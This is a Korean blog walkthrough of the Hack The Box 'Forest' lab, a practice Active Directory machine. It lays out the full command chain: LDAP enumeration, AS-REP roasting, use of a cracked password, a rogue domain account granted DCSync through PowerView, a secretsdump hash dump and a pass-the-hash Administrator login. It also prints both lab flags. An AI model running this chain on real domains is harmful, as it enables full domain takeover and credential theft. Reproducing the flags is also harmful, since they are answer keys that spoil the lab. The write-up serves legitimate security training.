본문 바로가기
레드팀/HackTheBox

[HTB] Forest 풀이

by jwcs 2026. 6. 28.
728x90
반응형

ㅊhttps://app.hackthebox.com/machines/Forest?sort_by=created_at&sort_type=desc

 

Hack The Box

 

app.hackthebox.com

 

AD 문제다.

 

초기 침투 및 User Flag 획득

nmap

ldap 포트가 열려 있다.

 

nxc ldap 10.129.111.31 -u '' -p '' --users

위 명령어로 ldap 익명 바인딩을 시도해서 도메인 사용자 목록을 뽑아낼 수 있다.

 

  • nxc ldap: NetExec의 LDAP 모듈 사용. 대상이 도메인 컨트롤러(DC)일 때 LDAP(389) 또는 LDAPS(636)로 질의
  • 10.129.95.210: 타겟 IP
  • -u '' -p '': 빈 사용자명/패스워드. null session / anonymous bind 시도
  • --users: 도메인의 사용자 계정 목록을 열거

실행 결과 맨 위에 도메인 명과 호스트 명을 알 수 있다.

  • host name: FOREST
  • domain: htb.local
awk 'NR>=5 {print $5}' nxc_ldap_users_result.txt > users.txt

위 실행 결과에서 5번째 열과 5번째 행만 따로 잘라서 저장했다.

 

impacket-GetNPUsers htb.local/ -usersfile users.txt -no-pass -dc-ip 10.129.111.31

이후 위 명령어로 AS-REP Roasting을 수행했다.

  • impacket-GetNPUsers: 사전인증이 비활성화된(No Pre-auth) 계정을 찾아 AS-REP 해시를 뽑는다
  • htb.local/: 대송 도메인이다. 끝에 `/`만 있고 사용자명이 비어있으므로 인증 없이 시도
  • -userfile users.txt:시도할 사용자명 목록 파일
  • -no-pass: 패스워드 프롬프트를 생략
  • -dc-ip <IP>: KDC(도메인 컨트롤러) IP

그 결과 svc-alfresco에 대해서 AS-REP Roasting에 성공한 것을 확인할 수 있다.

 

AS-REP Roasting은 아래 링크에서 좀 더 자세히 알아보자.

https://www.xn--hy1b43d247a.com/credential-access/kerberos/as-rep-roasting

 

AS-Rep Roasting | 레드팀 플레이북

MITRE ATTACK - T1558.004

www.xn--hy1b43d247a.com

 

크랙 결과 s3rvice라는 비밀번호를 확인할 수 있었다.

 

이후 해당 계정으로 접속해 user flag를 획득할 수 있다.

evil-winrm -i 10.129.111.31 -u svc-alfresco -p 's3rvice'

 

user flag

2077001afcddbf29540f210881d09166

짜잔

 

Root Flag 획득

bloodhound를 사용해서 권한 상승 경로를 확인해보자.

bloodhound-python -u svc-alfresco -p 's3rvice' -d htb.local -ns 10.129.95.210 -c All
  • bloodhound-python: 파이썬 기반 bloodhound 수집기
  • -u svc-alfresco: 인증에 사용할 도메인 계정사용자명
  • -p 's3rvice': 해당 계정의 평문 비밀번호
  • -d htb.local: 대상 도메인
  • -ns 10.129.95.210: nameserver. 즉, 쿼리를 보낼 DNS 서버 IP. AD 환경에서는 보통 도메인 컨트롤러가 DNS도 겸한다고 한다.
  • -c All: collection method를 'All'로 지정. 가능한 모든 수집 메서드를 한 번에 긁어온다.

svc-alfresco 계정 자격증명으로 10.129.95.210을 DNS 서버 삼아 htb.local 도메인에 인증한 뒤, 모든 수집 방식으로 AD 데이터를 열거하는 명령이다.

 

zip 20260628085222_bloodhound.zip 20260628085222_*

bloodhound 사용을 위해 zip 파일로 압축해줬다.

 

bloodhound에서 위와 같이 zip 파일을 업로드해주면된다.

 

bloodhound에서 분석이 끝나면 위와 같이 출발지 노드와 도착지 노드를 각각 svc-alfresco, domain admins로 설정해주면 된다.

 

DOMAIN ADMINS에 도달하기 위해선 EXCHANGE WINDOWS Permissions가 가진 WriteDacl을 권한을 이용해서 도메인의 ACL을 직접 고쳐야 한다는 것을 그래프를 통해 확인할 수 있다.

 

Account Operators에서는 일반 계정 및 그룹을 만들고 수정할 수 있다. 이를 이용해서 새 계정을 만들어서 Exchange Windows Permissions 그룹에 넣을 수 있다. 이를 통해 자기 계정에 DCSync 권한을 부여해 모든 해시를 뽑아낼 수 있다.

 

net user pwn Pwn123! /add /domain
net group "Exchange Windows Permissions" pwn /add /domain
net localgroup "Remote Management Users" pwn /add

evil-winrm 안에서 새 계정을 만들고 Exchange 그룹에 넣는다.

  • net user pwn Pwn123! /add /domain: 도메인에 새 사용자 계정을 생성한다. 계정명은 pwn이고, 비밀번호는 Pwn123!이다.
  • net group "Exchange Windows Permissions" pwn /add /domain: 방금 만든 pwn 계정을 Exchange Windows Permissions 도메인 그룹에 추가한다.
  • net localgroup "Remote Management Users" pwn: pwn 계정을 로컬 Remote Management Users 그룹에 추가한다. pwn 계정으로 evil-winrm 같은 도구를 써서 해당 호스트에 원격 쉘을 얻기 위한 작업이다.

 

upload /usr/share/windows-resources/powersploit/Recon/PowerView.ps1

powerview는 PowerSploit 프레임워크의 일부로, PowerShell 기반 AD 열거 및 공격 도구다. pwn 계정에 DCSync 권한을 부여하기 위한 작업을 PowerView의 Add-DomainObjectAcl로 수행하기 위해 업로드한다.

 

Import-Module ./PowerView.ps1
$pass = ConvertTo-SecureString 'Pwn123!' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential('htb\pwn', $pass)
Add-DomainObjectAcl -Credential $cred -TargetIdentity "DC=htb,DC=local" -PrincipalIdentity pwn -Rights DCSync

ACL 조작 단계다. PowerView를 써서 pwn 계정에게 DCSync 권한을 직접 부여한다.

 

  • Import-Module ./PowerView.ps1: PowerView를 현재 PowerShell 세션에 로드한다. 이걸로 Add-DomainObjectAcl같은 PowerView 함수들을 쓸 수 있게 된다.
  • $pass = ConvertTo-SecureString 'Pwn123!' -AsPlainText -Force: 비밀번호 Pwn123!을 PowerShell이 자격증명 객체에 요구하는 SecureString 형식으로 변환한다.
    • -AsPlainText: 입력이 평문임을 명시
    • -Force: 평문을 SecureString으로 바꾸는건 보안상 경고가 뜨는데, 이를 무시하고 강제 진행
  • $cred = New-Object System.Management.Automation.PSCredential('htb\pwn', $pass): SecureString 비밀번호와 사용자명을 묶어 PSCredential 자격증명 객체를 생성. 
  • Add-DomainObjectAcl -Credential $cred -TargetIdentity "DC=htb,DC=local" -PrincipalIdentity pwn -Rights DCSync: 실제 공격이 일어나는 줄이다. 도메인 객체의 ACL을 수정해서 pwn에게 DCSync 권한을 추가한다.
    • -Credential $cred: 이 작업을 수행하는 주체의 자격증명. pwn은 Exchange Windows Permissions 그룹 멤버라서 도메인 객체에 대한 WriteDACL 권한을 갖고 있고, 그 권한으로 ACL 수정이 가능
    • -TargetIdentity "DC=htb,DC=local": ACL을 수정할 대상 객체
    • -PrincipalIdentity pwn: 권한을 부여받을 주체
    • -Rights DCSync: 부여할 권한

결론적으로, WriteDACL 권한을 가진 pwn이, 자기 자신에게 도메인 복제권한(DCSync)을 부여하는 단계이다.

 

impacket-secretsdump htb.local/pwn:'Pwn123!'@10.129.95.210

pwn 계정이 복제 권한을 가졌으니, kali에서 직접 해시를 덤프한다.

 

htb.local\Administrator:500:aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6:::

위와 같이 NTLM 해시를 얻을 수 있다.

 

evil-winrm -i 10.129.95.210 -u Administrator -H 32693b11e6aa90eb43d32c72a07ceea6

위와 같은 명령어로 Admin으로 접속할 수 있다.

 

root flag

5acc2b98fbbe01cc60a876ef09c1aea3

짜잔

728x90
반응형

'레드팀 > HackTheBox' 카테고리의 다른 글

[HTB] Jerry 풀이  (0) 2026.08.23
[HTB] Baby 풀이  (2) 2026.07.11
[HTB] Active 풀이  (0) 2026.06.21
[HTB] MonitorsFour 풀이  (0) 2026.05.16
[HTB] Facts 풀이  (0) 2026.05.03